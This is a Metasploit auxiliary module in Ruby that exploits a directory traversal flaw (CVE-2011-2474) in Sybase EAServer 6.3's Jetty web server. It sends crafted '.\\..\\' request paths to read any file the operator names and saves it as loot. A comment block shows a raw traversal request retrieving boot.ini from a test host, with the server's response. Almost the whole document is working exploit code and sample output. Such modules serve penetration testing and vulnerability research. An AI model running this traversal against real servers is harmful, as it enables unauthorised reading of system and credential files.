metasploit-framework/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb

111 lines
3.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Sybase
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
EAserver's default configuration unless the web server allows WRITE permission.
},
'References' =>
[
[ 'CVE', '2011-2474' ],
[ 'OSVDB', '72498' ],
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
],
'Author' =>
[
'Sow Ching Shiong', #Initial discovery (via iDefense)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "May 25 2011"
))
register_options(
[
Opt::RPORT(8000),
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
print_status("Attempting to download: #{datastore['FILEPATH']}")
# Create request
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
}, 25)
print_status("Server returns HTTP code: #{res.code.to_s}")
# Show data if needed
if res and res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'easerver.http',
'application/octet-stream',
ip,
res.body,
fname
)
print_status("File saved in: #{path}")
else
print_error("Nothing was downloaded")
end
end
end
=begin
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
Connection: close
Accept: */*
Host: 10.0.1.55:8000
HTTP/1.1 200 OK
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
Content-Length: 211
Connection: close
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
$ nc 10.0.1.55 8000
OPTIONS / HTTP/1.0
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Length: 0
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
=end